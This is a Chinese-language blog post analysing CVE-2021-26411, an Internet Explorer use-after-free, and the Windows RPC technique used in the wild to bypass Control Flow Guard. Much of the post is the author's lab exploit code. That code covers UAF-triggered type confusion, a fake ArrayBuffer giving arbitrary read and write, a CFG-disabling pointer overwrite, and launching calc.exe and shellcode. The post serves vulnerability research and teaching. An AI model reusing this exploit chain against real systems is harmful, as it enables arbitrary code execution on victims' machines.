利用思路将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存中的内容可控(如重新分配为字符串)

举例

typedef struct
{
int id;
char *name;
int (*func)() //函数指针,可以理解为类里面的方法
};

假设有上述这样的一个结构体指针p:

 

在释放掉p之后,没有将p置NULL,所以p变成Dangling pointer,再通过重新分配,再次拿到p之前指向的这段地址空间

之后,通过strcpy(p2,"addr"),或者其他方式,向这段地址空间写入新数据

然后当我们通过其他函数,再次使用p指针,就会造成无法预料的后果,因为此时p指针指向的内存包含的已经是完全不同的数据

  • 任意地址读:puts(p->name)--------------->puts(char*(addr2))

  • 任意地址写:strcpy(p->name,data);------>strcpy((char *)(addr2),data)

  • 控制流劫持:p->func()--------------------->call addr3

参考

好好说话之Use After Free_hollk’s blog-CSDN博客

CTF Pwn中的 UAF 及 pwnable.kr UAF writeup - 知乎 (zhihu.com)

好了,有了上面的基础,就能明白CVE-2021-26411漏洞原理了!总结下来就是:利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码
 
 
如下内容摘自:https://blog.csdn.net/further_eye/article/details/116263347,补充了自己的一些理解
 

浏览器渲染进程漏洞利用的一般思路是:在利用漏洞获得用户态任意地址读写权限后,通过篡改DOM、js等对象的虚表函数指针劫持程序执行流,通过ROP链调用VirtualProtect等Win32 API,修改保存shellcode buffer的内存属性为PAGE_EXECUTE_READWRITE,最终由ROP链跳转到shellcode执行(核心原理就是这个了,无非是利用了rpc绕过cfg)。Windows 8.1后,Microsoft引入了CFG(Control Flow Guard)缓解技术[1],对间接调用的函数指针进行验证,从而缓解了通过篡改虚表函数指针劫持程序执行流这种利用技术。

然而对抗不会因此终止,随后出现了一些绕过CFG缓解技术的新方法,比如chakra/jscript9中通过篡改栈上函数返回地址劫持程序执行流[2],v8中利用具有可执行内存属性的WebAssembly对象执行shellcode[3]等。 2020年12月,Microsoft在Windows 10 20H1中基于Intel Tiger Lake CPU加入了CET缓解技术[4],防护了通过篡改栈上函数返回地址劫持程序执行流的利用方法。因此,如何在有CET防护的环境中绕过CFG再次成为漏洞利用的难题。

在分析CVE-2021-26411在野利用样本时[5],我们发现了一种利用Windows RPC(Remote Procedure Call)[5] 绕过CFG的新方法,这种方法无需依赖ROP链,通过构造RPC_MESSAGE并调用rpcrt4!NdrServerCall2即可实现任意代码执行。==》bypass CFG: bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet,也是采用了替换函数指针的方法。

1. CVE-2021-26411回顾

《IE浏览器在野0day:CVE-2021-26411分析》[5] 一文中介绍了该漏洞的根因(就是UAF了)removeAttributeNode()触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes(),导致nodeValue保存的BSTR被提前释放。回调返回后,没有检查nodeValue是否存在继续使用该对象,最终导致UAF。

3月份Windows补丁中该漏洞的修复方法为,在CAttrArray::Destroy函数中删除对象操作前增加索引检查

 

对应我实验里的代码部分为:

// step 1
// 利用 CVE-2021-26411 的 UAF 造成类型混淆  
var god
// 对象数组
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
// 创建一个HTML 属性对象
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
// 创建一个HTML 元素对象
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        // 回调时,清除ele对象绑定的所有属性
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// 触发valueof函数回调
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
// hd0.nodeValue = alloc 结束后 attr2.nodeValue 将被 hd0.nodeValue 重新占用并且与 hd2.nodeValue 形成类型混淆
// hd0.nodeValue 类型值为 0xc safeArray。
// hd2.nodeValue 类型值为 0x8 BSTR。

 

对于这样一个大小可控的UAF漏洞,利用思路为:利用两个不同类型的指针(BSTR和Dictionary.items)指向该空洞内存,通过类型混淆实现指针泄露和指针解引用(就是说利用uaf进行信息泄露,这里泄露的不过是地址!!!因为后面会向这些地址写入数据)

 对应我实验里的泄露数据部分的代码为:

// step2 泄露对象元数据,伪造 ArrayBuffer
// dump 函数以 hd2.nodeValue 为参数,使用 string 对象方法 charCodeAt 获取 hd2.nodeValue(0874035c) 处的数据,然后再以 uint32 视图泄露 fake 对象和 arr 对象的地址
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null

 

下面章节直接跳转到了rpc的利用,实际上还是有一些过程的,我补充下:

泄露了地址以后,肯定是写入数据,如下

// setData 函数将 fake 对象的元数据的地址填充到 abf ArrayBuffer 中
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null

// 使用泄露的 fake 对象的元数据在 fake.ArrayBuffer.buffer 中伪造对象,伪造的对象是一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff

// step3 实现任意读写
// 使用伪造的 ArrayBuffer 对象实现任意读写对象 god。
// 以 god 对象实现任意读
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
// 任意对象地址泄露,addrOf 将对象地址存储在 arr[0],然后读取值
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
// 以 god 对象实现任意写 
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

 最终是以god对象实现任意写。

 

 

2. RPC原理及利用方法

Windows RPC用来解决分布式客户端/服务端函数调用问题。基于RPC,客户端可以像调用本地函数一样调用服务端函数,RPC基本架构如下图:

 

客户端/服务端程序将调用参数/返回值等传给下层Stub函数,Stub函数负责封装数据成NDR(Network Data Representation)格式,最后通过rpcrt4.dll提供的runtime库进行通信。

下面给出一示例idl:

 

当客户端调用add函数后,服务端由rpcrt4.dll接受处理请求并调用rpcrt4!NdrServerCall2:

 

rpcrt4!NdrServerCall2只有一个参数PRPC_MESSAGE,其中包含了客户端调用的函数索引、传参等重要数据,服务端RPC_MESSAGE结构及主要子数据结构如下图(32位):

 

如上图所示,RPC_MESSAGE结构中,函数调用关键的两个变量为Buffer和RpcInterfaceInformation。其中Buffer存放了函数的传参,RpcInterfaceInformation指向RPC_SERVER_INTERFACE结构。RPC_SERVER_INTERFACE结构保存了服务端程序接口信息,其中+0x2c DispatchTable保存了runtime库和Stub函数的接口函数指针,+0x3c InterpreterInfo指向MIDL_SERVER_INFO结构。MIDL_SERVER_INFO结构保存了服务端IDL接口信息,其中DispatchTable保存了服务端提供的远程调用例程的函数指针数组。

下面以一个实例介绍RPC_MESSAGE的结构:

根据上面给出的idl,当客户端调用add(0x111, 0x222),服务端程序断在rpcrt4!NdrServerCall2:

 

可以看到,动态调试的内存dump与RPC_MESSAGE结构分析一致,其中add函数就存放在MIDL_SERVER_INFO. DispatchTable中。

接下来分析rpcrt4!NdrServerCall2是如何根据RPC_MESSAGE调用add函数的:

rpcrt4!NdrServerCall2内部调用rpcrt4!NdrStubCall2,rpcrt4!NdrStubCall2内部根据MIDL_SERVER_INFO. DispatchTable的基地址和RPC_MESSAGE. ProcNum计算调用的函数指针地址,将函数指针、函数参数和参数长度传给rpcrt4!Invoke:

 

rpcrt4!Invoke内部最终调用服务端例程函数:

 

通过上面的分析可以知道,在获得任意地址读写权限后,可以构造一个RPC_MESSAGE数据结构,传入想要调用的函数指针(这个就是恶意代码!)和函数参数,最后手动调用rpcrt4!NdrServerCall2,即可实现任意函数执行。

 

接下来需要解决两个问题:

1)如何通过js脚本调用rpcrt4! NdrServerCall2

2)观察rpcrt4!Invoke最后的服务端例程函数调用:

 

以看到这里是一处间接调用,且有CFG检查。因此需要考虑替换MIDL_SERVER_INFO. DispatchTable函数指针后如何绕过这里的CFG防护。

 

首先解决问题1: 如何通过js脚本调用rpcrt4! NdrServerCall2

这里可以复用替换DOM对象虚表函数指针劫持程序执行流的方法,因为rpcrt4!NdrServerCall2是记录在CFGBitmap里的合法指针,所以替换后依然可以通过CFG检查。样本里通过篡改MSHTML!CAttribute::normalize,最终由“xyz.normalize()”调用rpcrt4!NdrServerCall2。

 

接着解决问题2: 如何绕过rpcrt4!NdrServerCall2中的CFG防护

样本里的思路是:

1) 利用伪造的RPC_MESSAGE和rpcrt4!NdrServerCall2调用VirtualProtect修改RPCRT4!__guard_check_icall_fptr内存属性为PAGE_EXECUTE_READWRITE

2)替换rpcrt4!__guard_check_icall_fptr里保存的指针ntdll!LdrpValidateUserCallTarget为ntdll!KiFastSystemCallRet,从而关闭rpcrt4的CFG检查

3) 恢复RPCRT4!__guard_check_icall_fptr内存属性

 

解决了问题1,2后,后续即可利用伪造的RPC_MESSAGE实现任意函数的调用。样本中将shellcode写入msi.dll + 0x5000的位置,最终通过rpcrt4!NdrServerCall2调用shellcode:

 

最终完整的利用演示:

 

对应我上面实验的代码就是:

// step4 伪造 RPC_MESSAGE 
// 伪造 RPC_MESSAGE 之前需要先调用 rpcrt4!I_RpcTransServerNewConnection 以获得 OSF_SCALL_Vftable,OSF_SCALL_Vftable 最终将被设置到 RPC_MESSAGE->Handle 中
// 而 I_RpcTransServerNewConnection 和后续 rpcrt4!NdrServerCall2 的调用都是通过伪造 Attribute 进行的
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')

// 创建 xyz 作为伪造 Attribute 的目标对象
// 这里伪造的 Attribute 与原 Attribute 只有虚表指针不同
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()

// initRpc() 的内容用一张图说明其构建的 RPC_MESSAGE 主要结构,其中 RPC_MESSAGE 也是伪造的 Attribute,其虚表的 0x28c 处是 xyz.normalize() 执行的 NdrServerCall2 函数的地址 
// 伪造 RPC_MESSAGE 作为 rpcrt4!NdrServerCall2 参数使用 
var msg = initRpc()
var rpcFree = rpcFree()

// step4 bypass CFG 
// bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet
killCfg(rpcrt4)

 

// 调用API,弹出计算器
// 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行。
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])

// step5 执行 shellcode
//加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))

 

其中,通过normalize间接去调用rpcrt4!NdrServerCall2的代码:

// 使用目的函数地址替换假虚表中 normalize 函数的地址,这样调用 xyz.normalize() 函数便可以执行目的函数,normalize 函数地址对比 
// 达到调用rpcrt4!NdrServerCall2目的
// 调用方式是先将 xyz 的 Attribute 指针修改为伪造 Attribute 的地址,然后调用 xyz.normalize(),调用完再恢复 xyz 的 Attribute 指针
function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    // 错误处理
    try {
        // rpcrt4!NdrServerCall2
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}

 

修改cfg的细节补充下,内含修改内存属性,覆盖cfg检查的函数:

function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
    // 关闭rpcrt4的CFG检查
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}

 

再度总结下核心流程

利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码

 

3.  一些思考

CVE-2021-26411在野样本中出现了利用RPC绕过CFG缓解技术的这一创新方法。这种利用方法无需构造ROP链,直接通过伪造RPC_MESSAGE即可实现任意代码执行,利用简单且稳定,有理由相信该方法会成为绕过CFG缓解措施的一种新的有效利用技术。


4. 参考文献

[1] https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard

[2] https://zhuanlan.kanxue.com/article-14133.htm

[3] https://www.anquanke.com/post/id/201951

[4] https://windows-internals.com/cet-on-windows/

[5] https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650250070&idx=1&sn=5906feea0cfe498bffbb961e73f5c285

[6] https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page

 

 
posted @ 2023-04-29 23:31  bonelee  阅读(486)  评论(1编辑  收藏  举报